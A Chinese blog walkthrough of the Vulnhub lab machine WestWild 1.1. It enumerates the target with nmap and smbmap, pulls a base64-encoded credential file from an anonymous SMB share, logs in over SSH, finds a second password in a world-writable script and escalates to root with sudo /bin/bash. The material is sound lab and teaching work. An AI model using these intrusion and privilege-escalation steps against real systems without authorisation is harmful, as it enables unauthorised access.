【渗透测试】VulnhubWest-Wild-v1.1

一.渗透环境环境准备

Vulnhub靶机下载:

官网地址 : WestWild: 1.1 ~ VulnHub

1
2
攻击机:192.168.207.130 本机
靶机:192.168.207.131

安装靶机请看文章:靶机导入到虚拟机教程 | Luo 666 (mikuuu.icu)

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:获取目标靶机root目录下的flag

开始渗透

二. 信息收集

1. 主机扫描

1
arp-scan -l

35084c2a422be512.png

2.端口扫描

使用nmap获取目标靶机开放的端口

1
nmap -sS -sV -sC -p- 192.168.207.128 -oN nmap_full_scan

f4e050a05959e728.png

发现22 80 139 445 四个端口开放

3.漏洞扫描和目录扫描

这里我们扫描漏洞,发现80端口有一个**CVE:CVE-2007-6750**,上网查找资料,发现是一个让对方网站上不了网的一个漏洞,这里对我们渗透靶机没有帮助

1
2
nmap --script=vuln -p22,80,139,445 192.168.207.133

1
dirsearch -u 192.168.207.133

51d0e9bdf81c86ad.png

并没有扫描出什么有用文件

三.渗透测试

1.先访问web 页面

8236667f09ca2774.png

看了看源码也没发现什么。

提示翻译hint:

这太简单了,你只要跟着到wave 就行了

2.使用smb服务

简单来说就是内网里面文件共享功能

具体请看文章: windows中的文件共享(SMB服务)_smb共享名称-CSDN博客

我们前面通过端口扫描,发现139和445端口,都是smb服务

f7ffa6a1d422aba1.png

这里利用**smbmap**扫描查看有哪些共享文件夹可以查看

1
smbmap -H 192.168.207.133

3c67621b166aa523.png

"print$"是打印驱动程序共享,没有访问权限。

"wave"是只读共享(WaveDoor),有读取权限。

"IPC$"是IPC服务共享,没有访问权限。

使用**smbclient**工具连接到192.168.207.133上的”wave”共享,利用匿名登录

1
smbclient //192.168.207.133/wave

2eb17a8b3b728571.png

发现 文件 FLAG1.txt ,message_from_aveng.txt

然后利用**get**命令,把两个文件进行下载

1
2
get FLAG1.txt
get message_from_aveng.txt

00db25da0661f657.png

c02a0bd68b50c17d.png

下载完成后可以查看内容看看

d631432aff24abdb.png

我们解码FLAG1.txt里面的文件看起来像base64,我们解码看看

1
echo "RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K" | base64 --decode

这里我们是使用的命令,也可以其他方法

第一个flag
1
2
3
4
5
6
┌──(root㉿kali)-[/home/kali]
└─# echo "RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K" | base64 --decode
Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open

这里我们发现了第一个flag ,也知道了用户名和密码

既然知道了用户名和密码了,接下来我们就要ssh连接了。

3.ssh连接

1
ssh wavex@192.168.207.133

60150028e1b3c999.png

连接成功

四.提权过程

1.SUID、sudo提权

这里我们试试看

1
2
sudo -l
find / -perm -u=s -type f 2>/dev/null

8f82419c3147db6e.png

2.内网信息收集

查看是否有定时任务,查看/home目录下的 账户文件是否有提示,

1
2
3
`crontab -l` 是一个用来查看当前用户设定的定时任务(cron jobs)列表的命令。在Linux和类Unix系统中,cron 是一个用来定期执行指定任务的工具,通过 cron 可以实现很多自动化的任务调度工作。

具体来说,`crontab -l` 的作用是列出当前用户设置的所有 cron 任务的详细信息,包括它们的执行时间、执行命令等。这个命令通常用于查看当前系统中哪些定时任务已经设置,以及它们的调度情况。

6702bcb3ab17ec86.png

接着我们去看看wavex目录下的文件,再去查看/etc/passwd文件的权限,发现都是没有写入的权限,

1
2
cat .viminfo
ls -l /etc/passwd

25569fac11391c8f.png

解释一下:

1
2
3
4
5
6
7
8
9
10
11
-rw-r--r-- 1 root root 1261 Jul 30  2019 /etc/passwd: 这是 ls -l 命令的输出结果,具体解释如下:
-rw-r--r--: 这部分显示了文件的权限。具体解释是:
rw-: 所有者(root)有读(r)和写(w)的权限。
r--: 所属组(也是root)有只读(r)的权限。
r--: 其他用户(非root用户和非root所属组的用户)也有只读(r)的权限。
1: 表示与此文件或目录相关联的硬链接数目。
root: 表示所有者(owner)的用户名。
root: 表示所属组(group)的组名。
1261: 表示文件的大小(字节数)。
Jul 30 2019: 表示文件的最后修改时间。
/etc/passwd: 是文件的路径和名称。

查一下有没有这个账户可写的文件

1
2
3
4
5
6
7
8
9
10
11
12
find  / -perm 0777 -type f 2>/dev/null
这条命令 find / -perm 0777 -type f 2>/dev/null 的含义是:

find: 是一个在文件系统中查找文件的命令。
/: 是查找的起始路径,这里表示从根目录开始查找。
-perm 0777: 是 find 命令的选项之一,用于指定文件的权限。0777 表示找出权限为 777 的文件。权限数字中的每一位分别表示用户、组和其他用户的权限,其中:
7 表示读(4)+写(2)+执行(1)权限。
因此 0777 表示所有用户(用户、组、其他用户)都具有读、写、执行权限。
-type f: 是另一个 find 命令的选项,表示查找普通文件(regular files),排除目录和其他类型的文件。
2>/dev/null: 是将标准错误输出重定向到 /dev/null,这样可以忽略权限不足的错误信息,只输出符合条件的文件路径。
综合起来,这条命令的作用是在整个文件系统中查找并列出所有权限为 777 的普通文件,并忽略掉权限不足的错误信息。
cat /usr/share/av/westsidesecret/ififoregt.sh

c410eacd8288144e.png

发现账号密码

登录看看

cb9f146ebc71697f.png

3.提权

最后一个flag
1
2
3
4
sudo -l
sudo /bin/bash
ls
cat FLAG2.txt

97b6b232e9740502.png

问题解决。

总结:非常有意义学到了 提权信息查找 学习到了smb服务。